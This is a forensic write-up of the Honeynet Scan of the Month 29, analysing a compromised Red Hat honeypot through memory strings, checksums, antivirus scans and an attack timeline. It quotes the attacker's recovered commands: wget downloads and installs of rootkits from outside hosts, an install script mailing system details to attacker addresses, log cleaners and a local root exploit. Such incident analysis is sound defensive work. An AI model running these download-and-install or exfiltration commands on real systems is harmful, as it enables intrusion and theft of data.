Scan of the Month 29 - Analysis by Christophe GRENIER

Introduction

The Challenge: On August 10, 2003 a Linux Red Hat 7.2 system was compromised. Your mission is to analyze the compromised system. What makes this challenge unique is you are to analyze a live system. The image in question was ran within VMware. Once compromised, we suspended the image. The challenge to you is to download the suspended image, run it within VMware (you will get a console to the system with root access), and respond to the incident. When responding to the incident, you may do a live analysis of the system or you can first verify that the system has been compromised and then take it down for a dead analysis (or a combination of both). In either case, you will be expected to explain the impact you had on the evidence. Fortunately, this system was prepared for an incident and MD5 hashes were calculated for all files before the system was deployed. Note, this image was recovered from VMware Workstation 4.0, it will not work in older versions. You can download an evaluation copy.

Analysis

First, download the data files from the Honeynet web site.

[kmaster@christophe sotm29]$ md5sum linux-suspended*
1db2459dd36ac98fdcf59d1abac0f776  linux-suspended-md5s.gz
d95a8c351e048bd7d5596d6fc49b6d72  linux-suspended.tar.bz2

linux-suspended.tar.bz2 matches its MD5 checksum.

[kmaster@christophe sotm29]$ tar xvjf linux-suspended.tar.bz2
linux-2/
linux-2/linux.vmdk
linux-2/linux.vmx
linux-2/vmware.log
linux-2/nvram
linux-2/linux.vmss
linux-2/linux.png
[kmaster@christophe sotm29]$ gzip -d linux-suspended-md5s.gz
[kmaster@christophe sotm29]$ ls -l linux-2
total 535488
-rw-r--r--    1 kmaster  kmaster     95790 aoû 11 05:30 linux.png
-rw-------    1 kmaster  kmaster  446169088 aoû 11 05:30 linux.vmdk
-rw-------    1 kmaster  kmaster  101465277 aoû 11 05:30 linux.vmss
-rwxr-xr-x    1 kmaster  kmaster       777 jui 15 06:51 linux.vmx
-rw-------    1 kmaster  kmaster      8664 aoû 11 05:30 nvram
-rw-r--r--    1 kmaster  kmaster     35519 aoû 11 05:30 vmware.log

linux.vmx: Virtual machine configuration

From linux.vmx, we can see the following network configuration:

ethernet0.addressType = "generated"
ethernet0.generatedAddress = "00:0c:29:89:42:93"
ethernet0.generatedAddressOffset = "0"
Ethernet0.vnet = "/dev/vmnet0"

/dev/vmnet0 is associated with bridged network.

vmware.log: Log of the previous session

From vmware.log, we learn the previous session has been run from Aug 09 14:34:23 to Aug 10 20:30:24 and the harddisk geometry is 512/128/32.

linux.vmdk: virtual harddisk

There are two kind of VMware harddisk:

In our case, the VMware harddisk is in compact mode, so we can't use Linux mount to access the data. We have to use VMware equivalent.

[kmaster@christophe linux-2]$ vmware-mount.pl  -p linux.vmdk

--------------------------------------------
VMware for Linux - Virtual Hard Disk Mounter
Version: 1.0 build-5592\nCopyright 1998 VMware, Inc.  All rights reserved. -- VMware Confidential
--------------------------------------------

Nr      Start       Size Type Id Sytem
-- ---------- ---------- ---- -- ------------------------
 1         32    1884128 BIOS 83 Linux
 2    1884160     212992 BIOS 82 Linux swap

The harddisk has two partitions: a Linux root and a Linux swap.

[root@christophe linux-2]# vmware-mount.pl  linux.vmdk 1 -t ext3 -o ro /tmp

--------------------------------------------
VMware for Linux - Virtual Hard Disk Mounter
Version: 1.0 build-5592\nCopyright 1998 VMware, Inc.  All rights reserved. -- VMware Confidential
--------------------------------------------

It has been reported that this program does not work correctly with 2.4+ Linux
kernels in some cases, and you are currently running such a kernel. Do you
really want to continue? [N] Y

Network Block Device driver detected.

Client: The partition is now mapped on the /dev/nb0 Network Block Device.
mount : type fs incorrect, option incorrecte, superbloc incorrect sur /dev/nb0,
       ou trop de systèmes de fichiers montés

Unable to mount the Network Block Device on the /tmp mount point. Please make
sure that nothing is currently using the mount point and that your kernel
supports the partition type you want to mount before re-running this script.
[root@christophe linux-2]# Warning: Unable to issue the NBD_CLEAR_SOCK ioctl: Invalid argument

[root@christophe linux-2]# tail -f /var/log/messages
Sep  3 13:44:21 christophe kernel: NBD: Recv control failed.(result 0)
Sep  3 13:44:21 christophe kernel: req should never be null
Sep  3 13:44:21 christophe kernel: nbd: shutting down socket
Sep  3 13:44:21 christophe kernel: nbd: queue cleared
Sep  3 13:47:41 christophe kernel: EXT3-fs: Magic mismatch, very weird !
Sep  3 13:47:41 christophe kernel: NBD: receive - sock=-920767340 at buf=-987693352, size=16 returned 0.
Sep  3 13:47:41 christophe kernel: NBD: Recv control failed.(result 0)
Sep  3 13:47:41 christophe kernel: req should never be null
Sep  3 13:47:41 christophe kernel: nbd: shutting down socket
Sep  3 13:47:41 christophe kernel: nbd: queue cleared

This software is buggy, we can't access the data with VMware tools. This perl script uses vmware-loop to map the virtual harddisk to a network block in read-write. To not alter the data, it'd had been better to use -r vmware-loop option to export the disk read-only.

Running the virtual machine

Setting up VMware

Install VMware and run vmware-config.pl as root to configure it. In the network setup, uses only vmnet0 to bridge network to eth0.

Host configuration

Setup your Linux box with ipconfig eth0:0 192.168.1.1. Disable IP-Forwarding if enable. You can also run your box offline.

Runnning VMware

As user, run vmware and open linux.vmx

VMware summary

Click on Snapshot. This snapshot will help us to revert the virtual machine to its original state. It's very important to reduce the impact on the running system.

Live analysis

Startup screen

The process (swapd) has opened an obsolete SOCK_PACKET (Linux 2.0), SOCK_PACKET and SOCK_RAW (man 7 packet) are usually used by sniffer. eth0 is in promiscuous mode, there is no doubt: (swapd) is a sniffer.

Info
We can quickly gather some information about

[root@sbm79 chkrootkit-0.40]# ./chkrootkit -q
Checking `ifconfig'... INFECTED
Checking `ls'... INFECTED
Checking `netstat'... INFECTED
Checking `ps'... INFECTED
Checking `top'... INFECTED

/dev/ttyop /dev/ttyoa

/usr/lib/perl5/5.6.0/i386-linux/.packlist /lib/.x /lib/.x/.boot
/lib/.x
Warning: `//root/.bash_history' is linked to another file
INFECTED (PORTS:  3049)
You have     4 process hidden for ps command
Warning: Possible LKM Trojan installed

eth0 is PROMISC
unable to open lastlog-file lastlog

Dead analysis

linux.vmss: memory

Some interesting information can be found in memory.

strings linux.vmss > memory.strings
ls -a
inel1979.go.ro/mass2.tgz
as.ro/rootkit.tar
/rk.tar.gz
ls -a
cd /usr/lib
wget irinel1979.go.ro/a.tgz
cd /tmp
wget irinel1979.go.ro/a.tgz
tar -zxvf a.tgz
ls -a
cd a
wget geocities.com/mybabywhy/rk.tar.gz
tar -zxvf rk.tar.gz
cd sand
./install
wget geocities.com/gavish19/abc.tgz
sh-2.05# wget geocities.com/gavish19/abc.tgz
--13:34:23--  http://geocities.com/gavish19/abc.tgz
           => `abc.tgz'
Connecting to geocities.com:80... 
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
sh-2.05# 
sh-2.05# wget geocities.com/mybabywhy/rk.tar.gz
--13:33:08--  http://geocities.com/mybabywhy/rk.tar.gz
           => `rk.tar.gz'
Connecting to geocities.com:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 701,944 [application/x-gzip]

The hacker has downloaded some files from Internet. We can search all files he has downloaded using wget.

[kmaster@christophe sotm29]$ grep "wget " memory.strings |sort -u
sh-2.05# wget geocities.com/gavish19/abc.tgz
sh-2.05# wget geocities.com/mybabywhy/rk.tar.gz
wget geocities.com/gavish19/abc.tgz
wget geocities.com/mybabywhy/rk.tar.gz
wget irinel1979.go.ro/a.tgz
wget irinel1979.go.ro/er.tgz
wget irinel1979.go.ro/mass2.tgz
wget irinel1979.netfirms.com/er.tgz
wget izolam.net/gods
wget izolam.net/sslstop.tar.gz
wget www.i-need-ftp.as.ro/ttt.tgz
wget www.irinel1979.go.ro/er.tgz
wget www.lugojteam.as.rootkit.tar
wget www.lugojteam.as.ro/rootkit.tar
wget www.psychoid.lam3rz.de/psybnc.
## You can use this file to change the default behaviour of wget or to

Most files can be downloaded. Others files are also available:

http://geocities.com/mybabywhy/
       Parent Directory        31-Mar-2003 08:26      -  
 [   ] e.tar.gz                28-May-2003 14:21   363k  
 [   ] install.tgz             20-May-2003 14:41     1k  
 [   ] libncurses.so.zip       18-Sep-2003 14:20   104k  
 [   ] mech.tgz                29-May-2003 13:58   189k  
 [   ] party.tgz               05-Apr-2003 12:32     9k  
 [   ] pass.tgz                28-May-2003 14:29   223k  
 [   ] psybnc.tar.gz           31-Mar-2003 10:38   305k  
 [   ] rk.tgz                  16-May-2003 19:14   685k  

http://www.angelz.3x.ro/
       Parent Directory        19-Sep-2003 19:03      -  
 [   ] e.tgz                   27-May-2003 14:33   173k  
 [   ] instal.tgz              21-May-2003 00:32     1k  
 [DIR] mp3/                    13-May-2003 11:41      -  
 [   ] rk.tar.gz               18-May-2003 10:30   338k  
 [   ] rk.tgz                  19-May-2003 22:30   926k  
 [   ] root.tar.gz             17-May-2003 05:12   685k  
 [   ] root.tgz                19-May-2003 20:46   926k  
 [DIR] shells/                 13-May-2003 10:49      -  
 [   ] ussl.tar.gz             20-May-2003 23:54    25k  
 [DIR] windows/                13-May-2003 10:49      -  

Analysis of these files can be found in annex.

Get the harddisk image

On the Honeypot, change the root password and get a copy of the ext3 partition via ssh:
ssh root@192.168.1.79 cat /dev/sda > harddisk

Another way to analyze the harddisk is to mount it from another VMware system.

Checking MD5 checksum

It is possible to verify the checksum on the running system but an LKM can hide the modification. I have chosen to copy the harddisk and to run this check from a trusted system.

[root@christophe data]# mount -o loop,offset=16384 harddisk /mnt/tmp
[root@christophe data]# mount -o remount,ro /mnt/tmp
[root@christophe data]# md5sum -c linux-suspended-md5s2 2> /dev/null | grep -v OK
/mnt/tmp/etc/httpd/conf/httpd.conf: FAILED
/mnt/tmp/usr/bin/top: FAILED
/mnt/tmp/bin/netstat: FAILED
/mnt/tmp/bin/ls: FAILED
/mnt/tmp/bin/ps: FAILED
/mnt/tmp/sbin/ifconfig: FAILED
/mnt/tmp/etc/rc.d/init.d/functions: FAILED
/mnt/tmp/etc/rc.d/rc.sysinit: FAILED

linux-suspended-md5s2 is an edited copy of linux-suspended-md5s to use the new root of the filesystem. Full listing of modified files can be found here. The system has been trojanized.

Checking for new or deleted files

[kmaster@christophe sotm29]$ cut -d' ' -f 3- linux-suspended-md5s2 > liste_file_org
[kmaster@christophe sotm29]$ find /mnt/tmp -type f > liste_file
[kmaster@christophe sotm29]$ diff -u liste_file_org liste_file|egrep -v "(^ |^@)" > liste_diff.txt
[kmaster@christophe sotm29]$ head liste_diff.txt
--- liste_file_org      Sat Sep  6 15:22:43 2003
+++ liste_file  Sat Sep  6 15:20:04 2003
+/mnt/tmp/dev/ttyop
+/mnt/tmp/dev/ttyoa
+/mnt/tmp/dev/ttyof
+/mnt/tmp/dev/hdx1
+/mnt/tmp/dev/hdx2
-/mnt/tmp/var/log/messages
-/mnt/tmp/var/log/lastlog
+/mnt/tmp/var/log/wtmp

Some files has been hidden with Unix like name (i.e. /dev/ttyoa), log files have been erased (i.e. /var/log/messages). Full listing of modified file can be downloaded here.

Checking for setuid/setgid binaries

[root@christophe root]# find /mnt/tmp -perm -6000 -o -perm -4000 -exec ls -ld {} \;
-rws--x--x    2 root     root       785372 Aug 10  2001 /mnt/tmp/usr/bin/suidperl
-rws--x--x    2 root     root       785372 Aug 10  2001 /mnt/tmp/usr/bin/sperl5.6.0
-rwsr-xr-x    1 root     root        34476 Aug 28  2001 /mnt/tmp/usr/bin/chage
-rwsr-xr-x    1 root     root        36208 Aug 28  2001 /mnt/tmp/usr/bin/gpasswd
-rwsr-xr-x    1 root     root        37580 Aug  2  2001 /mnt/tmp/usr/bin/at
-r-s--x--x    1 root     root        13476 Aug  7  2001 /mnt/tmp/usr/bin/passwd
-rws--x--x    1 root     root        13136 Aug 27  2001 /mnt/tmp/usr/bin/chfn
-rws--x--x    1 root     root        12484 Aug 27  2001 /mnt/tmp/usr/bin/chsh
-rws--x--x    1 root     root         5456 Aug 27  2001 /mnt/tmp/usr/bin/newgrp
-rwsr-xr-x    1 root     root        21280 Jun 25  2001 /mnt/tmp/usr/bin/crontab
-rwsr-xr-x    1 root     root       209948 Sep  6  2001 /mnt/tmp/usr/bin/ssh
-rwsr-xr-x    1 root     root        14588 Jul 24  2001 /mnt/tmp/usr/bin/rcp
-rwsr-xr-x    1 root     root        10940 Jul 24  2001 /mnt/tmp/usr/bin/rlogin
-rwsr-xr-x    1 root     root         7932 Jul 24  2001 /mnt/tmp/usr/bin/rsh
-rwsr-xr-x    1 root     root        18444 Aug 27  2001 /mnt/tmp/usr/sbin/ping6
-rwsr-xr-x    1 root     root         9804 Aug 27  2001 /mnt/tmp/usr/sbin/traceroute6
-r-sr-xr-x    1 root     root       451076 Aug 31  2001 /mnt/tmp/usr/sbin/sendmail
-rwsr-xr-x    1 root     root         6340 Sep  9  2001 /mnt/tmp/usr/sbin/usernetctl
-rwsr-xr-x    1 root     root        20120 Jun 25  2001 /mnt/tmp/usr/sbin/traceroute
-r-s--x---    1 root     apache      11244 Sep  6  2001 /mnt/tmp/usr/sbin/suexec
-rwsr-xr-x    1 root     root        23436 Aug 27  2001 /mnt/tmp/bin/ping
-rwsr-xr-x    1 root     root        57628 Jul 24  2001 /mnt/tmp/bin/mount
-rwsr-xr-x    1 root     root        28380 Jul 24  2001 /mnt/tmp/bin/umount
-rwsr-xr-x    1 root     root        18452 Jul 23  2001 /mnt/tmp/bin/su
-r-sr-xr-x    1 root     root        15088 Sep 24  2001 /mnt/tmp/sbin/pwdb_chkpwd
-r-sr-xr-x    1 root     root        15672 Sep 24  2001 /mnt/tmp/sbin/unix_chkpwd

Setuid/setgid don't seem to have been altered.

Antivirus check

Most antivirus can detect trojan. Using a trial version of InterScan Virus Wall, Trend's Antivirus, I have scanned the honeypot root and the directory where I have downloaded tar.gz file.

VirusFile
System
PERL_ROOTKIT.C/mnt/tmp/usr/bin/sense
ELF_BLITZ/mnt/tmp/usr/bin/sl2
ELF_RST.B/mnt/tmp/usr/lib/sp0
ELF_GMON.A/mnt/tmp/lib/.x/log
ELF_GMON.A/mnt/tmp/lib/.x/cl
ELF_GMON.A/mnt/tmp/lib/.x/s/xopen
er.tgz
ELF_HACKTOP.A bin/top
UNIX_LION.A-1 bin/sz
UNIX_LION.A-2 bin/tksb
ELF_HACKTOP.A lib/libproc.so.2.0.6
mass2.tgz
ELF_RST.B mass2/mass
ELF_RST.B mass2/vuln
ELF_RST.B mass2/osslmass2
ELF_RST.B mass2/openssl-too
rk.tar.gz
PERL_ROOTKIT.C sand/sense
ELF_BLITZ sand/sl2
ELF_ROOTKIT.C2 sand/swapd2
rootkit.tar
ELF_ROOTKIT40-7 rootkit/ifconfig
PERL_ROOTKIT.C rootkit/plasa/sense
VirusDescription
ELF_ROOTKIT40-7 File Infector
ELF_BLITZ SynFlooder
ELF_GMON.A This non destructive ELF executable virus runs only on UNIX platforms. Once executed, it searches for and then infects all ELF files in the current directory. To do this, it appends 8,759 Bytes of its virus code to the target file. It uses the following text string as its infection marker on infected files: OSF
ELF_HACKTOP.A This Root Kit Trojan with an Executable and Linking Format (ELF)runs on Unix/Linux platforms. It appears as a normal ELF program, TOP, to hide its malicious routines. TOP is a network traffic and process viewer used on Unix systems. When resident, it grants a remote user administrator priveleges to its affected system. It also retrieves information from the affected system and sends it to a remote user.
ELF_ROOTKIT.C2 File Infector
ELF_RST.B This virus does not reinfect files. It knows if a file is already infected by checking if its entry point is located 4096 bytes from the end of the first PT_LOAD segment. Files infected with this virus contain the following text strings: snortdos tory Linux.RST
PERL_ROOTKIT.C File Infector
UNIX_LION.A-1 File Infector
UNIX_LION.A-2 It then searches for log files in the /var/log directory and then deletes the lines that correspond to the activities of the UNIX_LION.A worm.

Example of infection by running a copy of /lib/.x/cl, file infected by ELF_GMON.A

[tmp@christophe tmp]$ md5sum hello
2091cd99017fc9a9508abde55b531ed6  hello
[tmp@christophe tmp]$ /tmp/cl

Die Putze 0.6 - The ultimate unix logfile cleaner...

        asciifile options:
         -s  <string>           - removes string from logfiles.
         -f  <file> <string>    - removes string from file.

        utmp options:
         -u  <username>         - removes username from utmp.
         -u  <username> <tty>   - removes user on given tty.

        wtmp options:
         -w  <username>         - removes last entry from wtmp.
         -w  <username> <tty>   - removes last entry on given tty.
         -ww <username>         - removes all entries for username.

        lastlog options:
         -l  <username>         - removes username lastlog entry.

        misc options:
         -h                     - to get this!

Report bugs to <genius@h07.org>.
[tmp@christophe tmp]$ md5sum hello
7a6ded8e53beee5bbfc2a32fdd2db236  hello

From further reading on Internet (ie. http://www.security-focus.com/archive/100/247640), I have learn that ELF_GMON.A has an UDP backdoor and ELF_RST.B, its variant, has a more complex backdoor using packet with protocol set to EGP.

Autopsy

The / partition will be analyzed with the SleuthKit. Autopsy can't use whole harddisk, the root filesystem can be extracted with dd skip=16384 if=harddisk of=root_honeypot. The Honeypot is using Los Angeles timezome (see /etc/sysconfig/clock), Autopsy will ask for the time zone when the image will be added to /home/kmaster/tools/filesystem/evidence/SOTM29/192.168.1.79/images.

Function I have most used is Keyword Search. Here are the different keywords:

  • GET /
  • jijeljijel
  • icekey.h
  • mybabywhy
  • rk.tar
  • /dev/shm
  • Path:
  • PASS
  • 13:3
  • 15:28
  • rk\.tar\.gz
  • rootkit\.tar
  • a\.tgz
  • sanido-08\.is\.pcnet\.ro
  • 213\.154\.118
  • pcnet\.ro
  • rootkit/s_h_k
  • User Login Incoming
  • izolam\.net
  • SSH_ORIGINAL_COMMAND
  • udhss
  • redcode

The Hacking

Using the information gathered from these steps, I have tried to discover the timeline attack.

13:16:27 HTTP probe

The hacker has probed the HTTP server from 213.154.118.219 (extreme-service-11.is.pcnet.ro).
Extract from the fragment 114422, Apache: access_log,

213.154.118.219 - - [10/Aug/2003:13:16:27 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:16:37 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:23:17 -0700] "GET /sumthin HTTP/1.0" 404 279 "-" "-"

13:24:29 Break-in

Hacker's next step has been to break in using Apache SSL handshake bug. Using this vulnerability, he has gained a remote access as the apache user.
Extract from fragment 114381, Apache: ssl_engine_log,

[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[10/Aug/2003 13:32:38 03024] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:32:38 03024] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different

13:33:08 Download of rk.tar.gz

The hacker is now root! He is downloading a rootkit. From the memory, rk.tar.gz has been downloaded at 13:33:08 from geocities.com/mybabywhy/rk.tar.gz
Extract from deleted /root/.bash_history

wget geocities.com/mybabywhy/rk.tar.gz
tar -zxvf rk.tar.gz
cd sand
./install

Analysis of rk.tar.gz

13:33:33 Installation of rk.tar.gz

# ls -clir --full-time -- /dev/ttyo* /dev/hdx1 /dev/hdx2 ...
  92010 -rwx------   1 root     root         8268 Sun Aug 10 13:33:33 2003 /usr/bin/sl2
  92006 -rwx------   1 root     root           98 Sun Aug 10 13:33:33 2003 /usr/bin/logclear
  92028 -r-x------   1 root     root        13707 Sun Aug 10 13:33:33 2003 /usr/bin/crontabs
  92030 -rwxr-xr-x   1 root     root       672527 Sun Aug 10 13:33:33 2003 /usr/bin/smbd -D
  44775 -rwxr-xr-x   1 root     root        83132 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/netstat
  45227 -r-xr-xr-x   1 root     root        63180 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/ps
  45105 -rwxr-xr-x   2 root     root        45948 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/ls
  44780 -rwxr-xr-x   1 root     root        51164 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/ifconfig
  60091 -r-xr-xr-x   1 root     root        34924 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/top
  91850 -rw-------   1 root     root          539 Sun Aug 10 13:33:33 2003 /usr/include/icekey.h
  92015 -rw-r--r--   1 root     root          692 Sun Aug 10 13:33:33 2003 /usr/include/iceconf.h
   3176 -rw-r--r--   1 root     root            5 Sun Aug 10 13:33:33 2003 /usr/include/icepid.h
  92033 -rwxr-xr-x   1 root     root        18439 Sun Aug 10 13:33:35 2003 /usr/bin/(swapd)
  62629 -rw-r--r--   1 root     root            5 Sun Aug 10 13:33:35 2003 /usr/bin/x.pid
  92023 -rw-r--r--   1 root     root            2 Sun Aug 10 13:33:35 2003 /usr/lib/libsss
  92018 -rwxr-xr-x   1 root     root          134 Sun Aug 10 13:33:57 2003 /dev/ttyoa
  92025 -rwxr-xr-x   1 root     root           59 Sun Aug 10 13:33:57 2003 /dev/ttyof
  92024 -rwxr-xr-x   1 root     root           74 Sun Aug 10 13:33:57 2003 /dev/ttyop
  92009 -rwxr-xr-x   1 root     root         4060 Sun Aug 10 13:33:57 2003 /usr/bin/sense
  92032 -rwxr-xr-x   1 506      506        165136 Sun Aug 10 13:33:57 2003 /bin/pico
  92017 -rwxr-xr-x   1 root     root        48856 Sun Aug 10 13:33:57 2003 /usr/bin/top
  92013 -rwxr-xr-x   1 root     root        30640 Sun Aug 10 13:33:57 2003 /bin/netstat
  92022 -rwxr-xr-x   1 root     root        36692 Sun Aug 10 13:33:57 2003 /bin/ls
  92011 -rwxr-xr-x   1 root     root        32756 Sun Aug 10 13:33:57 2003 /bin/ps
  92016 -rwxr-xr-x   1 root     root        22328 Sun Aug 10 13:33:57 2003 /sbin/ifconfig
# md5sum /usr/lib/libshtift/*
e984302652a0c59469a0d8826ae3cdeb  usr/lib/libshtift/ifconfig
3e743c6bfa1e34f2f2164c6a1f1096d0  usr/lib/libshtift/ls
0ea03807e53e90b147c4309573ebc76a  usr/lib/libshtift/netstat
881c7af31f6f447e29820fb73dc1dd9a  usr/lib/libshtift/ps
6091c2a0a9231844d1ee9d43f29e6767  usr/lib/libshtift/top

Original version of ifconfig, ls, netstat, ps and top have been saved in /usr/lib/libshtift.

13:33:56 End of install script

Extract of sand/install

./sysinfo > informatii
echo " ${WHI}Imediat iti trimit Mail ${BLU}BAH${WHI} mai ai rabdare 2 min..${RES}"
echo "                          "
cat informatii|mail -s "SANDERS root" mybabywhy@yahoo.com
cat informatii|mail -s "SANDERS root" buskyn17@yahoo.com
Extract from fragment 16003: Mail to mybabywhy@yahoo.com information
H?D?Date: Sun, 10 Aug 2003 13:33:56 -0700
H?F?From: root <root>
H?x?Full-Name: root
H?M?Message-Id: <200308102033.h7AKXuZ03201@localhost.localdomain>
H??To: mybabywhy@yahoo.com
H??Subject: SANDERS root

Extract of ps axu output:

root      3137  0.0  0.7  1900  716 ?        S    13:33   0:03 smbd -D
root      3153  0.0  0.7  1664  704 ?        S    13:33   0:00 (swapd)
root      3247  0.0  0.6  1472  592 ?        S    13:33   0:00 syslogd -m 0
root      3252  0.0  1.1  1984 1096 ?        S    13:33   0:00 klogd -2

head of /var/log/boot.log

Aug 10 13:33:57 localhost syslog: syslogd startup succeeded
Aug 10 13:33:57 localhost syslog: klogd startup succeeded
Aug 10 13:33:32 localhost syslog: syslogd shutdown succeeded
Aug 10 13:33:56 localhost syslog: klogd shutdown failed
Aug 10 13:33:57 localhost syslog: syslogd shutdown failed

To summarize:

13:34:23

Extract of deleted /root/.bash_history
wget geocities.com/gavish19/abc.tgz
wget geocities.com/gavish19/abc.tgz
wget www.lugojteam.as.ro/rootkit.tar
ls -a
cd informatii
wget www.lugojteam.as.ro/rootkit.tar
cd /tmp
ls -a
wget www.lugojteam.as.ro/rootkit.tar
wget irinel1979.go.ro/mass2.tgz
ls -a

The hacker is downloading other tools. Analysis of abc.tgz Analysis of mass2.tgz

14:13:47

Extract of /var/log/boot.log

Aug 10 14:13:47 localhost sshd: sshd -TERM failed

14:14:01

Extract of /var/log/maillog:

Aug 10 14:14:01 localhost sendmail[4763]: h7ALE1t04763: from=apache, size=1300, class=0, nrcpts=1, msgid=<200308102114.h7ALE1t04763@localhost.localdomain>, relay=apache@localhost
Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel)
[kmaster@christophe sotm29]$ grep -r jijeljijel rootkit
rootkit/install:cat /tmp/info | mail -s "SoNkErIkI HaCk" jijeljijel@yahoo.com

I don't think this install program has been run because no program from this rootkit has been installed. Which script has sent this mail?

Aug 10 14:14:41 localhost smbd -D[5505]: log: Connection from 213.154.118.218 port 2020
Aug 10 14:17:08 localhost smbd -D[8170]: log: Connection from 213.154.118.218 port 2021
Aug 10 14:17:09 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:17:10 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:17:17 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:47 localhost smbd -D[8170]: fatal: Local: Too many password authentication attempts from extreme-service-10.is.pcnet.ro for user root.
  92007 -rw-------   1 root     root          512 Sun Aug 10 14:17:53 2003 /usr/include/iceseed.h

The hackers has failed to stop the SSH daemon and has installed an SSH server smbd -D. The hacker doesn't even know the backdoor password.

15:30:30 Get root (again)

  35804 ----------   1 root     root            0 Sun Aug 10 15:30:30 2003 /dev/hdx1
  35833 ----------   1 root     root            0 Sun Aug 10 15:30:30 2003 /dev/hdx2
   8988 -rwsr-sr-x   1 root     root        24116 Sun Aug 10 15:30:30 2003 /dev/shm/k

The virus ELF.RST.B has created /dev/hdx1 and /dev/hdx2 (About this virus) when one of the infected file (/usr/lib/sp0 ?) has been run as root.

strings /dev/shm/k

/dev/shm/k is a Linux kernel ptrace/kmod local root exploit that mails newptraceuser@yahoo.com. It has been run at 15:30:30.

Aug 10 15:30:30 localhost sendmail[23300]: h7AMUUn23300: from=apache, size=43, class=0, nrcpts=1, msgid=>200308102230.h7AMUUn23300@localhost.localdomain<, relay=apache@localhost
Aug 10 15:30:31 localhost sendmail[23321]: h7AMUVC23321: from=apache, size=43, class=0, nrcpts=1, msgid=>200308102230.h7AMUVC23321@localhost.localdomain<, relay=apache@localhost
Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel)
Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection timed out with mx4.mail.yahoo.com.

15:30:54 gods and inst scripts are run

gods (Found on the / partition, fragment 36691) is a shell script that download from izolam.net an adore LKM and a SSH server (1.2.32). They have been installed by the installation program inst

  47169 -rw-r--r--   1 root     root         5636 Sun Aug 10 15:30:54 2003 /usr/lib/adore.o
  47171 -rw-r--r--   1 root     root         1016 Sun Aug 10 15:30:54 2003 /usr/lib/cleaner.o
  47165 -rwx------   1 apache   apache     230163 Sun Aug 10 15:30:54 2003 /usr/lib/sp0
  47166 -rw-r--r--   1 apache   apache        621 Sun Aug 10 15:30:54 2003 /usr/lib/sp0_cfg
  47161 -rw-r--r--   1 apache   apache        532 Sun Aug 10 15:30:54 2003 /usr/lib/sp0_key
  47164 -rw-r--r--   1 apache   apache        513 Sun Aug 10 15:30:54 2003 /usr/lib/sp0_seed

15:32:15 Installation of SucKIT and other programs

SucKIT, http://hysteria.sk/sd/sk/, is a well known rootkit.

-rwxr-xr-x   1 apache   apache        303 Sun Aug 10 15:32:15 2003 /lib/.x/hide
shell script with output file /lib/.x/hide.log
-rwxr-xr-x   1 apache   apache      59137 Sun Aug 10 15:32:15 2003 /lib/.x/inst
SucKIT installation program, generate sk
-rwxr-xr-x   1 apache   apache      25795 Sun Aug 10 15:32:15 2003 /lib/.x/log
SucKIT 1.3b client
-rwxr-xr-x   1 apache   apache      17931 Sun Aug 10 15:32:15 2003 /lib/.x/cl
Die Putze 0.6 - The ultimate unix logfile cleaner...
-rw-r--r--   1 root     root            1 Sun Aug 10 15:32:15 2003 /lib/.x/ip
should be the IP of the server but empty
-rwxrwxrwx   1 root     root          340 Sun Aug 10 15:32:15 2003 /lib/.x/s/s_h_k.pub
SSH public key for root@fred.psiware.net
-rwxrwxrwx   1 root     root          669 Sun Aug 10 15:32:15 2003 /lib/.x/s/sshd_config
SSH server configuration listenning on port 22
-rwxrwxrwx   1 root     root          536 Sun Aug 10 15:32:15 2003 /lib/.x/s/s_h_k
SSH private key for root@fred.psiware.net
-rwxrwxrwx   1 root     root         5192 Sun Aug 10 15:32:15 2003 /lib/.x/s/lsn
sniffer compressed by UPX, output file /lib/.x/s/mfs
-rw-rw-r--   1 root     root        12288 Sun Aug 10 15:32:16 2003 /etc/psdevtab
used by top and ps
-rwxrwxrwx   1 root     root       217667 Sun Aug 10 15:32:16 2003 /lib/.x/s/xopen
